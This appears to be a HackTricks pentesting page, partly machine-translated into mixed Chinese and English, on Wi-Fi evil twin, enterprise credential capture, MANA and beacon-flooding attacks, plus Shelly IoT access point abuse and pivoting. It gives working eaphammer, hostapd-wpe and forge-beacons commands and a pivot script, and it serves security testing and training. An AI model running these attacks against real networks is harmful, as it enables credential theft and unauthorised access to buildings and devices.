请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 受保护,设备不会自动连接到 Open evil Twin。你可以尝试对真实 AP 进行 DoS,期望用户手动连接到你的 Open evil twin;或者你可以对真实 AP 进行 DoS 并使用 WPA Evil Twin 来捕获 handshake(使用此方法你无法让受害者连接到你,因为你不知道 PSK,但你可以捕获 handshake 并尝试破解它)。

Some OS and AV will warn the user that connect to an Open network is dangerous…

WPA/WPA2 Evil Twin

你可以创建一个 Evil Twin using WPA/2,如果设备已配置为使用 WPA/2 连接到该 SSID,它们会尝试连接。无论如何,to complete the 4-way-handshake,你还需要 know 客户端将使用的 password。如果你 don’t know 它,connection won’t be completed

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

要理解这些攻击,我建议先阅读简短的 WPA Enterprise explanation

使用 hostapd-wpe

hostapd-wpe 需要一个 配置 文件才能工作。要 自动化 这些配置的生成,你可以使用 https://github.com/WJDigby/apd_launchpad(下载位于 /etc/hostapd-wpe/ 的 python 文件)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中,你可以选择许多不同的选项,例如 ssid、channel、用户文件、cret/key、dh 参数、wpa 版本和 auth…

使用 hostapd-wpe 与 EAP-TLS 来允许任意证书登录。

使用 EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下,EAPHammer 使用以下 authentication methods(注意 GTC 是首先尝试以获取 plaintext passwords,然后再使用更强的 auth methods):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是默认的方法以避免长时间的连接。然而,你也可以向 server 指定身份验证方法,从最弱到最强:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (明文密码)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (以与目标组织相同的顺序提供相同的认证方法会使攻击更难被检测到)。
  • Find more info in the wiki

When clients skip RADIUS certificate validation (PEAP/TTLS)

  • 如果设备被配置为“do not validate certificate”,一个克隆的 AP + 恶意 RADIUS (eaphammer --cert-wizard --creds --auth wpa-eap) 会收集 NetNTLMv2 (PEAP-MSCHAPv2) 或 cleartext 凭据 (PEAP-GTC)。bettercap deauth (wifi.deauth <BSSID>) 在探测时既会揭示隐藏的 SSID,也会强制客户端重新连接,除非 PMF/802.11w 阻止了伪造的 deauth。
  • 破解后的 NetNTLMv2 会提供可重用的 Wi‑Fi/AD 凭证;GTC 则直接得到明文。

Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)

  • 对于具有不可破解随机密码的机器账户,可滥用 MSCHAPv2 relay:运行 hostapd-mana 作为 Evil Twin,将 MSCHAPv2 交换转发到 wpa_sycophant,后者同时连接到合法 AP。成功的中继会在不恢复密码的情况下授予已认证的 Wi‑Fi 访问。
  • 使用支持目标安全级别的构建(WPA3/PMF 需要较新的 hostapd/wpa_supplicant);PMF 会阻止 deauth 强制手段,因此需要等待客户端自愿关联。

Using Airgeddon

Airgeddon 可以使用先前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络会将连接协议降级为 EAP-MD5,从而能够 捕获用户和密码的 MD5 值。之后,攻击者可以尝试破解密码。
Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

hostapd-wpeconfiguration 中,将包含 dh_file 的那一行注释掉(从 dh_file=/etc/hostapd-wpe/certs/dh 改为 #dh_file=/etc/hostapd-wpe/certs/dh
这样会使 hostapd-wpe 使用 RSA 来 交换密钥 而不是 DH,因此稍后你将能够在 知道服务器私钥的情况下解密 流量。

现在像往常一样用修改过的配置启动 Evil Twin(使用 hostapd-wpe)。同时,在执行 Evil Twin 攻击的 接口 上启动 wireshark

现在或稍后(当你已经捕获到一些认证尝试时)可以将私有 RSA 密钥添加到 wireshark:Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

添加一个新条目并用以下值填写表单:IP address = anyPort = 0Protocol = dataKey File选择你的密钥文件,为避免问题请选择一个不受密码保护的密钥文件)。

并查看新的 “Decrypted TLS” tab

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

不同类型的 Media Access Control Filter Lists (MFACLs) 及其对应模式和对恶意 Access Point (AP) 行为的影响:

  1. MAC-based Whitelist:
  • rogue AP 仅响应列在白名单中的设备的 probe 请求,对其他未列出的设备保持不可见。
  1. MAC-based Blacklist:
  • rogue AP 会忽略列入黑名单的设备的 probe 请求,从而对这些特定设备保持不可见。
  1. SSID-based Whitelist:
  • rogue AP 仅对列出的特定 ESSID 的 probe 请求做出响应,使其对首选网络列表(PNLs)中不包含这些 ESSID 的设备不可见。
  1. SSID-based Blacklist:
  • rogue AP 不会响应黑名单中那些特定 ESSID 的 probe 请求,从而对寻找这些特定网络的设备保持不可见。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

该方法允许 attacker 创建一个恶意接入点 (AP),对所有试图连接网络的设备发出的 probe requests 作出响应。该技术通过模拟设备正在搜索的网络,诱使设备连接到 attacker 的 AP。一旦设备向该 rogue AP 发送连接请求并完成连接,设备就会错误地连接到 attacker 的网络。

MANA

随后,devices 开始忽略不可靠的网络响应,从而降低了原始 karma attack 的效果。然而,Ian de Villiers 和 Dominic White 提出了一个新方法,称为 MANA attack。该方法涉及 rogue AP 通过对设备的 broadcast probe requests 作出响应,使用设备先前已保存的网络名称 (SSIDs) 来 捕获设备的 Preferred Network Lists (PNL)。这种复杂的攻击利用设备记住并优先已知网络的方式,绕过了针对原始 karma attack 的防护。

MANA attack 通过监视设备发出的 directed and broadcast probe requests 来运行。对于 directed requests,它会记录设备的 MAC address 和所请求的网络名称,并将这些信息添加到列表中。当收到 broadcast request 时,AP 会用与设备列表中任一网络相匹配的信息进行响应,从而诱使设备连接到 rogue AP。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

一个 Loud MANA attack 是一种用于当设备不使用 directed probing 或者其 Preferred Network Lists (PNL) 对攻击者未知时的高级策略。其原理是 同一地区的设备很可能在其 PNLs 中共享某些网络名称。该攻击不进行选择性响应,而是对所有被观测设备合并 PNLs 中出现的每个网络名称 (ESSID) 广播 probe responses。 这种广泛的方法增加了设备识别熟悉网络并尝试连接到 rogue Access Point (AP) 的概率。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA attack 可能不足够时,Known Beacon attack 提供了另一种方法。该方法 brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs,这些 ESSIDs 来源于一个 wordlist。该方法模拟出众多网络的存在,期望匹配受害者 PNL 中的某个 ESSID,从而促使设备尝试连接到伪造的 AP。可以通过结合 --loud 选项来增强攻击,使其更积极地诱捕设备。

Eaphammer 将此攻击实现为一种 MANA attack,其中列表中的所有 ESSIDs 都被广播(你也可以将其与 --loud 结合,形成 Loud MANA + Known beacons attack):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Known Beacon Burst attack 涉及 对文件中列出的每个 ESSID 进行 beacon frames 的快速连续广播。这会制造出一个伪造网络密集的环境,大大增加设备连接到 rogue AP 的可能性,尤其是在与 MANA attack 结合时。该技术利用速度和广播量来压倒设备的网络选择机制。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct 是一种协议,允许设备使用 Wi-Fi 直接相互连接,而无需传统的无线接入点。该功能集成在多种 Internet of Things (IoT) 设备中,例如打印机和电视,便于设备间的直接通信。Wi-Fi Direct 的一个显著特性是其中一台设备会承担接入点角色,称为 group owner,用于管理连接。

Wi-Fi Direct 连接的安全性通过 Wi-Fi Protected Setup (WPS) 建立,WPS 支持多种安全配对方法,包括:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

这些方法,尤其是 PIN entry,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞影响,从而成为类似攻击向量的目标。

EvilDirect Hijacking

EvilDirect Hijacking 是针对 Wi-Fi Direct 的特定攻击。它类似于 Evil Twin attack 的概念,但目标是 Wi-Fi Direct 连接。在这种情形中,攻击者冒充合法的 group owner,以欺骗设备连接到恶意实体。可以使用像 airbase-ng 这样的工具,通过指定 channel、ESSID 和 MAC address 来执行该方法。

Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)

一些消费级 IoT 继电器/控制器在加入 IoT WLAN 后会保持 commissioning open AP 活跃(例如以 Shelly 开头的 Shelly Gen4 SSID)。设备保持 dual-homed:一个 AP 接口(默认 IP 为 192.168.33.1)以及内网 WLAN 上的客户端接口。

Abuse flow (Wi‑Fi proximity required):

  1. 连接到 provisioning AP,获取 DHCP 租约,并浏览 AP-side HTTP API
  2. 通过未认证的端点触发继电器,例如 http://192.168.33.1/relay/0?turn=on(影响门/大门/车库)。固件上传端点可以增加持久性。
  3. 将其用作 pivot:Shelly 脚本可以通过内部接口向其他 LAN 主机发送 HTTP 请求。示例 pivot 到另一个 IP 为 10.0.98.221 的 Shelly:
Shelly.addEventHandler(function (event) {
if (event.component === "switch:0" && event.info.state) {
Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
}
});

将 URL 换成任何可达的内部 HTTP 目标;dual-homing 避免了额外的路由/NAT 工作。 4. 大规模:在 wigle.net 上查询厂商 SSID(例如 Shelly)以定位 commissioning AP,用于现场利用。

为保持持久性,请保持 commissioning AP 启用。

References

TODO: Take a look to https://github.com/wifiphisher/wifiphisher (login con facebook e imitacionde WPA en captive portals)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks